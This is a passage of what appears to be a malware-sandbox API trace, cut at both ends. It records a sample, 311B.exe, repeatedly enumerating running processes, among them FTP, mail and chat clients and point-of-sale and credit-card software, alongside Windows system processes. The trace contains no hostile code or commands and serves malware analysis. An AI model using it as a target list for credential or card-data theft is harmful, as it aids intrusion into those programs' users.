th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0229.062] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0229.063] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0229.277] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0229.280] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0229.282] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0229.285] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0229.287] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0229.290] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0229.292] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0229.294] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0229.296] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0229.298] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0229.300] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0229.302] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0229.305] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0229.307] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0229.309] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0229.311] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0229.313] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0229.423] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0229.426] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0229.429] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0229.432] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0229.434] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0229.437] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0229.440] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0229.443] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0229.445] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0229.448] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0229.450] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0229.453] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0229.455] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0229.525] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0229.527] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0229.530] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0229.532] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0229.534] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0229.537] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0229.539] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0229.542] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0229.544] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0229.546] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0229.549] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0229.551] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0229.553] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0229.556] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0229.558] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0229.560] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0229.563] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0229.565] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0229.690] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0229.693] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0229.695] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0229.698] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0229.700] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0229.703] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0229.705] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0229.708] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0229.710] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0229.712] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0229.715] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0229.717] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0229.719] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0229.846] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0229.849] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0229.851] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0229.853] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0229.855] CloseHandle (hObject=0x15a4) returned 1 [0229.856] Sleep (dwMilliseconds=0x64) [0229.958] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15a4 [0229.970] Process32First (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.971] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0229.973] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0229.974] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0229.976] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0229.977] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0229.979] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0229.980] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0229.982] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0230.041] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.044] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.046] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0230.048] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.050] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.052] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.054] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.056] Process32Next (in: hSnapshot=0x15a4, 